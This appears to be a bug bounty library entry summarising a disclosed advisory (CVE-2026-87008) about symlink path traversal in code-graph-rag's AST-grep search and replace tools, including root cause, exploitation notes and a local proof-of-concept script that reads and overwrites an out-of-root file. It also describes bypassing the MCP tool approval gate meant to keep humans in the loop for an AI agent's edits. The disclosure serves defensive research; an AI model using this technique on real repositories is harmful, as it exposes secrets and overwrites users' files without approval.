# Code Graph RAG structural tools follow out-of-root symlinks

code-graph-rag's structural_search/structural_replace tools check path containment lexically without resolving symlinks, letting a planted in-repo symlink read or overwrite arbitrary out-of-root files.

- Payout: Research
- Severity: high
- Program: code-graph-rag
- Found by: squeeze440
- Disclosed: 2026-11-09
- CVE: CVE-2026-87008
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-85gg-2gfq-q95m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-85gg-2gfq-q95m
- Tags: area:ai domain:ai domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** AstGrepService structural_search/structural_replace MCP and agentic tools
**Root cause:** should_skip_path/_classify_file perform containment via relative_to on the unresolved path, never calling .resolve() or checking is_symlink(), so os.walk-returned symlinks pointing outside project_root pass the check; read_text/write_text then follow the link.
**Steps:**
1. Create /tmp/poc_symlink/safe-project-root and an out-of-root file /tmp/poc_symlink/outside-secret.py containing `API_TOKEN = "sk-live-..."`.
2. Plant a symlink inside the root: `ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py`.
3. Instantiate `AstGrepService(project_root=SAFE_ROOT)` (mock mgclient/pymgclient).
4. Call `svc.search(pattern="API_TOKEN", language="python")` — returns content of the out-of-root file attributed to `linked_module.py`.
5. Call `svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE", language="python", dry_run=False)` — the out-of-root file is overwritten.
**How found:** Noticed the file_reader/writer/editor tools use validate_project_path with .resolve() before relative_to, and path_utils' absolute_path_within_project_root docstring calls resolve() 'load-bearing', while AstGrepService routes only through should_skip_path which never resolves — then tested with a planted symlink.
**Exploitation:** Attacker gets a symlink committed into a repo the victim points cgr at (CLI, ask_agent, or MCP). structural_search then exfiltrates any readable file (keys, .env) with no approval gate; structural_replace with dry_run=False overwrites any writable file, and via the MCP registry path (MCPToolsRegistry.structural_replace calls the tool function directly) the requires_approval flag is bypassed entirely.
**Escalation:** Read-only disclosure escalates to arbitrary file overwrite because the same unresolved-path check gates the write sink; MCP invocation removes the human approval gate that pydantic-ai enforces.
**Insight:** When a codebase has one correct containment helper, grep for every other path check that reaches read_text/write_text without .resolve(); os.walk yields symlinked files as ordinary dirents, so lexical relative_to passes them. Also check whether approval flags are enforced only in the agent loop and bypassed by the MCP registry's direct function call.

## Proof of concept (copied exactly from the original report)

**Symlink setup and AstGrepService read/write PoC**

```
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py

import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
```

